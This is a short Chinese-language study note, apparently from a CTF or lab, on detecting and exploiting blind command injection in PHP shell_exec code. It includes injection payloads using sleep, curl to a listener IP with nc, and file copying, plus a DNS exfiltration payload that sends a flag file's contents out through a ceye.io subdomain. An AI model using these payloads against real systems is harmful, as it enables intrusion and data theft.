命令无回显的情况
判断方法
1.延时
2.HTTP请求
3.DNS请求
<?php highlight_file(__FILE__); shell_exec($_GET[1]); ?>
(1)通过传入1=ls|sleep(3)
页面加载3秒左右才显示来证明注入语句带入成功
传入1=ls|curl 192.168.12.104:8000前先在本机开启nc -lvp 8000
(2)通过提前nc监听,利用curl命令进行信息获取
(3)提前注册ceye.io平台获取一个域名,该域名下的子域名被请求的信息都会被记录到平台上
其中DNS请求的使用范围多于HTTP请求,常用利用方式
写shell(直接写入/外部下载)http/dns等方式带出数据
<?php highlight_file(__FILE__); include('where_is_flag.php'); echo "ping"; $ip = (string)$_GET['ping']; $ip = str_replace(">","0.0",$ip); shell_exec("ping ".$ip); ?>
ping的话不会发出HTTP请求,但会发出DNS请求,所以DNSLOG是可以用的(ceye.io)
第一种思路:
ping=1;cp where_is_flag.php 1.txt
访问1.txt得到flag
第二种思路
通过ceye.io外带数据获取
但是ping有个问题就是 ping后的数据不能有空格存在,例 ping baidu.com可以,但是ping bai du.com就不行
所以首先在ceye.io平台获取到一个域名,然后与去掉空格的where_is_flag.php内容及进行拼接
payload:ping=`cat where_is_flag.php|sed s/[[:space:]]//`.php.o9qxvv.ceye.io
不知道哪里有问题,与视频学习到的完全不符,ping 中数据带有特殊字符的话会报错,无法ping。这里积累一个方法吧